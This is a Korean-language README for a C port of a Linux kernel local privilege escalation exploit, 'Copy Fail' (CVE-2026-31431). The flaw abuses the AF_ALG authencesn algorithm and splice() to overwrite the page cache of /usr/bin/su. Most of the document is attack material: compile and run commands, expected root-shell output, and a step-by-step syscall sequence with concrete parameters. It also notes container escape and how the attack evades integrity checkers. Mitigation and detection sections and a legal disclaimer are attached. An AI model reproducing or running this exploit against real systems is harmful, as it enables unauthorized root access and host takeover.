
CVE-2026-31431용 C 기반 로컬 권한 상승 익스플로잇으로, AF_ALG 암호화 인터페이스의 Linux 커널 취약점을 이용하여 페이지 캐시 조작을 통해 루트 액세스를 제공합니다.
Copy Fail (CVE-2026-31431) — Linux 커널의 논리적 취약점으로, 로컬 비특권 사용자가 권한을 슈퍼유저(root) 수준으로 상승시킬 수 있게 합니다. 이 취약점은 Local Privilege Escalation (LPE) 클래스에 속하며, race condition이나 메모리 주소 추측과 같은 복잡한 공격 조건을 요구하지 않고, 2017년 이후 출시된 대부분의 Linux 배포판에서 "즉시" 동작합니다.
이 저장소는 원본 Python 익스플로잇을 C 언어로 포팅한 버전으로, 상세한 주석이 포함되어 있으며 정적 컴파일 및 최소 환경에서의 사용에 적합합니다.
이 취약점은 AF_ALG(커널 암호화 API 인터페이스) 처리와 페이지 캐시(page cache) 메커니즘과 관련된 Linux 커널 암호화 하위 시스템의 논리적 오류에서 발생합니다.
이 오류는 2017년 AEAD(Authenticated Encryption with Associated Data) 블록 암호화 작업을 제자리에서(in-place) 수행하도록 하는 최적화가 추가되면서 발생했습니다. authencesn 알고리즘(AEAD 암호화 템플릿의 일부)의 버퍼 경계 처리 오류로 인해 할당된 버퍼를 4바이트 초과하여 쓰기가 발생하고, 이로 인해 페이지 캐시 관리 구조가 손상됩니다.
그 결과 커널은 읽기 전용으로 열린 파일(O_RDONLY)의 페이지 캐시에 데이터를 다시 쓸 수 있게 됩니다.
AF_ALG 소켓을 열고 AEAD 알고리즘 authencesn(hmac(sha256),cbc(aes))을 초기화합니다.setsockopt()를 통해 비정상적인 매개변수를 설정합니다:
sendmsg()와 control messages를 통해 복호화 작업을 시작합니다.splice() 시스템 호출이 대상 파일(O_RDONLY로 열린)의 데이터를 암호화 소켓으로 이동시킵니다.authencesn의 오류로 인해 파일의 페이지 캐시가 손상되고, "복호화된" 데이터가 캐시에 다시 기록됩니다.root 권한으로 코드가 실행됩니다.취약한 배포판 (algif_aead 모듈이 로드된 커널 사용 시):
특별한 중요성: 컨테이너 환경(Docker, LXC, Kubernetes)에서 호스트 커널에 algif_aead 모듈이 로드되어 있으면 컨테이너 내부 프로세스가 기본적으로 AF_ALG 하위 시스템에 접근할 수 있습니다. 이는 컨테이너 격리 위반 및 호스트 머신 제어권 획득의 위험을 초래합니다.
취약점 확인:
# algif_aead 모듈이 로드되었는지 확인
lsmod | grep algif
# 커널에 AF_ALG가 있는지 확인
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
원본 익스플로잇은 Python(약 732바이트)으로 작성되었습니다. 이 C 포팅은 다음과 같은 특징을 가집니다:
libz만 필요.strace로 검증됨).recv() — Python의 try/except 동작을 반복하여 멈춤(hang)을 방지.포팅 과정에서 발견된 Python 버전과의 주요 차이점:
# libz 필요 (zlib1g-dev 또는 zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
성공적인 공격 시 패치된 /usr/bin/su 버전이 실행되어 비밀번호 없이 root 접근 권한을 제공합니다.
예상 출력:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su 열림
[+] 40 청크
[*] 40/40 성공
# id
uid=0(root) gid=0(root) groups=0(root)
다음은 해당 시스템 호출과 함께 익스플로잇의 각 단계에 대한 상세 분석입니다:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
커널 암호화 API에 접근하기 위한 소켓이 생성됩니다. authencesn(Authenticated Encryption with Sequence Numbers) 알고리즘은 AES-CBC를 암호화에, HMAC-SHA256을 인증에 사용하는 복합 AEAD 알고리즘입니다.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 zeros), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19 zeros), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3 zeros)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
작업을 위한 연결이 생성됩니다. sendmsg()와 control messages(CMSG)를 통해 매개변수가 설정됩니다:
ALG_OP_DECRYPT = 0).이러한 모든 이상 징후는 커널 메모리 관리의 불일치를 만듭니다.
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
splice()는 userspace를 통한 복사 없이 파일 디스크립터 간 데이터를 이동하는 시스템 호출입니다. 데이터는 pipe 메커니즘을 통해 커널 수준에서 이동합니다.
splice(target_fd -> pipe): 대상 파일(/usr/bin/su)의 데이터가 pipe로 들어갑니다.splice(pipe -> conn_sock): pipe의 데이터가 "암호문"으로 암호화 소켓에 전달됩니다.핵심 포인트: Python(및 이 포팅)에서 pipe의 오프셋은 NULL로 전달되어 커널이 위치를 자동으로 관리하도록 합니다.
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);
recv() 호출은 커널이 암호화 작업을 완료하도록 합니다. 정상 모드에서는 복호화된 데이터가 반환되지만, 비정상적인 매개변수로 인해 EBADMSG(Python) 또는 EAGAIN(O_NONBLOCK을 사용하는 C) 오류가 반환됩니다. 오류는 무시됩니다 — 페이지 캐시 손상은 이미 splice() 단계에서 발생했습니다.
페이지 캐시(page cache)는 파일 내용을 RAM에 캐시하는 것입니다. 프로세스가 O_RDONLY로 파일을 열면 커널은 이 캐시에서 읽기만 허용합니다. 그러나 이 취약점은 이 제한을 우회할 수 있습니다:
write() 호출 시 VFS 수준에서 수행되지만, splice()는 이러한 검사를 우회하여 페이지 캐시 수준에서 직접 작동합니다.변경은 디스크가 아닌 RAM에서만 발생합니다. 이로 인해 표준 무결성 검사 도구로는 공격을 탐지하기 어렵습니다. 재부팅 또는 페이지 캐시 정리 후 공격 흔적은 사라집니다.
Linux 커널을 수정 사항이 포함된 버전으로 업데이트합니다.
algif_aead 모듈 비활성화:
# 모듈 로드 금지
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf
# 모듈 언로드 (로드된 경우)
sudo rmmod algif_aead
추가 권장 사항:
AF_ALG 접근을 금지합니다./usr/bin/su 파일이 디스크에서 변경되나요?아니요. 변경은 페이지 캐시(RAM)에서만 발생합니다. 디스크의 파일 내용은 변경되지 않습니다. 시스템 재부팅 후 페이지 캐시가 정리되고 파일은 원래 상태로 돌아갑니다.
다음을 통해 탐지할 수 있습니다:
auditd, strace).AF_ALG 소켓 사용의 이상 징후 분석.표준 무결성 검사 도구(AIDE, Tripwire)는 디스크의 파일이 변경되지 않으므로 변경을 감지하지 못합니다.
이 코드는 교육 및 연구 목적으로만 제공됩니다. 저자는 이 코드의 불법적인 사용에 대해 어떠한 책임도 지지 않습니다. 시스템 소유자의 명시적 허가 없이 익스플로잇을 사용하는 것은 불법이며 형사 처벌을 받을 수 있습니다.
소유한 시스템 또는 보안 테스트에 대한 명시적인 서면 허가를 받은 시스템에서만 사용하십시오.
| 구성 요소 | 설명 |
|---|
| Linux 커널 | 2017년부터 수정 패치가 포함된 버전까지의 모든 버전 |
| 하위 시스템 | crypto (algif_aead 모듈) |
| 인터페이스 | AF_ALG — 커널 암호화 API에 대한 사용자 접근 |
| 시스템 호출 | AF_ALG 소켓과 함께 사용되는 splice() |
| 매개변수 | Python | C (이 포팅) |
|---|
sendmsg() 플래그 | MSG_MORE | MSG_MORE |
splice() 플래그 | 0 | 0 |
| pipe 오프셋 | NULL | NULL |
| 키 크기 | 40바이트 | 40바이트 |
cmsg_len | 20/36/20 | 20/36/20 (하드코딩) |
| pipe 생성 | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | try/except가 있는 차단형 | 비차단형 (O_NONBLOCK) |